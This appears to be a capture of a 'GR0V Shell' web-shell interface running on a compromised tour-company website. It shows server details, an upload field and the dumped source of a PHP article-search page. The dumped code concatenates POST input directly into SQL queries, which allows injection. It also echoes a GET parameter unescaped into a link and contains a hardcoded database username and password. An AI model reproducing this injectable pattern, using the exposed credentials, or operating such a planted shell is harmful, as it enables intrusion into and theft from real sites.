? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/
File Upload :
Current File : /home/admin/public_html/old/promice/search_ar.php

<? include("header.php");?>
<style type="text/css">
<!--
.style1 {
	color: #0033CC;
	font-weight: bold;
}
-->
</style>
<table width="1001" border="0" align="center" cellpadding="0" cellspacing="0">
  <!-- fwtable fwsrc="Untitled" fwbase="home.jpg" fwstyle="Dreamweaver" fwdocid = "742308039" fwnested="0" -->
  <tr>
   <td width="423"><img src="images/spacer.gif" width="423" height="1" border="0" alt=""></td>
   <td width="16"><img src="images/spacer.gif" width="16" height="1" border="0" alt=""></td>
   <td width="225"><img src="images/spacer.gif" width="225" height="1" border="0" alt=""></td>
   <td width="315"><img src="images/spacer.gif" width="315" height="1" border="0" alt=""></td>
   <td width="21"><img src="images/spacer.gif" width="21" height="1" border="0" alt=""></td>
   <td width="10"><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  </tr>

  
  <tr>
    <td colspan="5" bgcolor="#FFFFFF"><div align="center"> 
        <table width="998" border="0" cellspacing="0" cellpadding="0">
          <tr valign="top"> 
            <td width="228">&nbsp;</td>
            <td width="770"><table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr> 
                  <td height="39" background="images/headtabb.jpg">&nbsp;</td>
                </tr>
                <tr>
                  <td><form id="form1" name="form1" method="post" action="search_ar.php">
                    <table width="897" border="0" cellpadding="00" cellspacing="0" >
                      <tr>
                        <td height="21" colspan="6">ค้นหาบทความ</td>
                        </tr>
                      <tr>
                        <td width="60" >&nbsp;</td>
                        <td width="155" >&nbsp;</td>
                        <td width="149" >&nbsp;</td>
                        <td >หมวดหมู่</td>
                        <td >&nbsp;</td>
                        <td width="151">&nbsp;</td>
                      </tr>
                      <tr>
                        <td >&nbsp;</td>
                        <td ><input name="detail" type="text" id="detail" /></td>
                        <td >&nbsp;</td>
                        <td ><select name="size" id="size">
                          <option selected="selected">ทั้งหมด</option>
                          <option value="1">NEWS</option>
                          <option value="2">Culture</option>
                          <option value="3">Entertainment</option>
                          <option value="4">Travel</option>
                          <option value="5">Food</option>
                          <option value="6">Events</option>
                          <option value="7">Interview</option>
                          <option value="8">Calendar</option>
                        </select></td>
                        <td >&nbsp;</td>
                        <td>&nbsp;</td>
                      </tr>
                      <tr>
                        <td >&nbsp;</td>
                        <td >&nbsp;</td>
                        <td >&nbsp;</td>
                        <td width="136" >&nbsp;</td>
                        <td width="116" >&nbsp;</td>
                        <td rowspan="2"><input name="Submit" type="submit" class="inputxx" id="Submit" value="ค้นหา" /></td>
                      </tr>
                      <tr>
                        <td >&nbsp;</td>
                        <td height="20" >&nbsp;</td>
                        <td >&nbsp;</td>
                        <td >&nbsp;</td>
                        <td >&nbsp;</td>
                      </tr>
                    </table>
                  </form>
                  </td>
                </tr>
                <tr> 
                  <td>&#3619;&#3634;&#3618;&#3585;&#3634;&#3619;<strong> :</strong><strong> 
                    <a href="ProductList.php?PRD=<? echo "$_GET[PRD]"; ?>">                    </a></strong></td>
                </tr>
                <tr> 
                  <td><? if($_POST[Submit]=="ค้นหา"){
	$strSQL = "SELECT * FROM article ";
	if($_POST["detail"] != "")
	{
		$strSQL .= " where detail LIKE '%".$_POST["detail"]."%' ";
	}
	if($_POST["size"] != "ทั้งหมด")
	{
		$strSQL .= " where article_category_id = '".$_POST["size"]."' ";
	}
	

		 mysql_query($strSQL);
	}

  ?><?
		$objConnect = mysql_connect("localhost","thebridges_mag","thebridges") or die(mysql_error());
		$objDB = mysql_select_db("thebridges_mag");

		$objQuery = mysql_query($strSQL);
		$Num_Rows = mysql_num_rows($objQuery);

		$Per_Page = 12;   // Per Page

		$Page = $_GET["Page"];
		if(!$_GET["Page"])
		{
			$Page=1;
		}

		$Prev_Page = $Page-1;
		$Next_Page = $Page+1;

		$Page_Start = (($Per_Page*$Page)-$Per_Page);
		if($Num_Rows<=$Per_Page)
		{
			$Num_Pages =1;
		}
		else if(($Num_Rows % $Per_Page)==0)
		{
			$Num_Pages =($Num_Rows/$Per_Page) ;
		}
		else
		{
			$Num_Pages =($Num_Rows/$Per_Page)+1;
			$Num_Pages = (int)$Num_Pages;
		}

		$strSQL .=" ";
		$objQuery  = mysql_query($strSQL);


		echo"<table border=\"0\"  cellspacing=\"1\" cellpadding=\"1\"><tr>";
		$intRows = 0;
		while($objResult = mysql_fetch_array($objQuery))
		{
			echo "<td>"; 
			$intRows++;
			$content = mb_substr($objResult[detail],0,300,'UTF-8');
	?>
                    <div align="left">
                      <table width="354" height="138" border="0" cellpadding="0" cellspacing="0" background="images/images/bgmenu.jpg">
                        <tr>
                          <td width="354"><div align="center">
                              <table width="402" border="0" cellpadding="0" cellspacing="0" bordercolor="#000099" background="images/bgtabb.jpg">
                                
                                <tr>
                                  <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"><div align="left"><span class="style1">
                                    <?=substr($objResult["subject"],0,150);?>
                                  </span></div></td>
                                </tr>
                                
                                <tr>
                                  <td width="168" align="left" valign="top" bgcolor="#FFFFFF"><img src="images/images_article/<?=$objResult["images"];?>" width="162" height="151" /></td>
                                  <td width="218" height="98" align="left" valign="top" bgcolor="#FFFFFF"><span  style="color: #000; font-size: 12pt;"><? echo strip_tags("$content..."); ?>
                                    
                                  </span>                                <div align="right"></div></td>
                                  <td width="16" align="left" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
                                </tr>
                                
                                <tr>
                                  <td width="168" bgcolor="#FFFFFF">&nbsp;</td>
                                  <td height="23" valign="top" bgcolor="#FFFFFF"><div align="right"><a href="read.php?PrdID=<? echo $objResult["id"];?>"><img src="images/readmore.jpg" width="61" height="20" border="0" /></a></div></td>
                                  <td valign="top" bgcolor="#FFFFFF">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                        </tr>
                      </table>
                 
                    </div>
                      <?
			echo"</td>";
			if(($intRows)%2==0)
			{
				echo"</tr>";
			}
		}
		echo"</tr></table>";
	?>
                    <br>
&#3619;&#3623;&#3617;
<?= $Num_Rows;?>
&#3586;&#3657;&#3629;&#3617;&#3641;&#3621;</td>
                </tr>
                <tr> 
                  <td>&nbsp;</td>
                </tr>
              </table></td>
          </tr>
        </table>
      </div></td>
   <td><img src="images/spacer.gif" width="1" height="25" border="0" alt=""></td>
  </tr>
</table><? include("footer.php");?>

</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$